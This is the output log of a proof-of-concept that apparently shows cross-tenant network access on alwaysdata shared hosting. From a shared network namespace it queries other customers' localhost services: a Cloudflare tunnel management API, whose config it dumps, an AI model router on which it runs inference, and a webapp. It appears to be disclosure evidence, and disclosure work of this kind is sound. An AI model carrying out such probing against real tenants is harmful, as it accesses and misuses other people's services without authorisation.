========================================
 Cross-Tenant Network Access PoC
 alwaysdata shared hosting
========================================

[*] Attacker identity:
    UID:  537578
    GID:  492644

[*] Process isolation (hidepid) is active:
    /proc mount: proc on /proc type proc (rw,relatime,gid=4,hidepid=invisible)
    /proc/1:     ls: cannot access '/proc/1/cmdline': No such file or directory

[*] Network namespace (shared — no isolation):
    Net NS: net:[4026531833]

[*] My running processes (should be only this script):
1532704 bash
1532716 ps

[*] My listening ports (should be zero):
    Ports with process info: 0

========================================
 Accessing other customers' services
========================================

[1] Cloudflare Tunnel management (port 20241):
    GET /quicktunnel:
{"hostname":"drain-emission-roy-strip.trycloudflare.com"}
    GET /ready:
{"status":200,"readyConnections":1,"connectorId":"f37e899d-aa13-48eb-9968-7142efefb28a"}
    GET /config:
{"version":-1,"config":{"ingress":[{"hostname":"","path":null,"service":"http://localhost:33468","Handlers":null,"originRequest":{"connectTimeout":30,"tlsTimeout":10,"tcpKeepAlive":30,"noHappyEyeballs":false,"keepAliveTimeout":90,"keepAliveConnections":100,"httpHostHeader":"","originServerName":"","matchSNItoHost":false,"caPool":"","noTLSVerify":false,"disableChunkedEncoding":false,"bastionMode":false,"proxyAddress":"127.0.0.1","proxyPort":0,"proxyType":"","ipRules":null,"http2Origin":false,"access":{"teamName":"","audTag":null}}}],"warp-routing":{},"originRequest":{"connectTimeout":30,"tlsTimeout":10,"tcpKeepAlive":30,"noHappyEyeballs":false,"keepAliveTimeout":90,"keepAliveConnections":100,"httpHostHeader":"","originServerName":"","matchSNItoHost":false,"caPool":"","noTLSVerify":false,"disableChunkedEncoding":false,"bastionMode":false,"proxyAddress":"127.0.0.1","proxyPort":0,"proxyType":"","ipRules":null,"http2Origin":false,"access":{"teamName":"","audTag":null}}}}

[2] AI model router — 9Router (port 10219):
    GET /api/version:
{"currentVersion":"0.5.45","latestVersion":"0.5.45","hasUpdate":false}
    Model count:
    581 models available

    POST /api/v1/chat/completions (executing inference):
    {"id":"gen-1785626698-CZrffmCaDmRpTOIm4OM1","object":"chat.completion","created":1785626698,"model":"nemotron-3-ultra-free","choices":[{"index":0,"finish_reason":"length","logprobs":null,"message":{"role":"assistant","content":"The user wants me to respond with only the word","refusal":null,"reasoning":"The user wants me to respond with only the word","reasoning_details":[{"type":"reasoning.text","text":"The user wants me to respond with only the word","format":"unknown","index":0}]}}],"usage":{"prompt_tokens":23,"completion_tokens":10,"total_tokens":33,"prompt_tokens_details":{"audio_tokens":0,"cached_tokens":0,"cache_write_tokens":0},"completion_tokens_details":{"audio_tokens":0,"reasoning_tokens":12}},"cost":"0"}data: [DONE]

[3] Third customer's webapp (port 3001):
    Title: Meridian — Time Tracking & Invoicing for Freelancers

[4] Tunnel origin service (port 33468):
    HTTP/1.1 404 Not Found

========================================
 Negative control
========================================

[*] Port 9999 (no listener):
    Connection refused (expected)

[*] Done.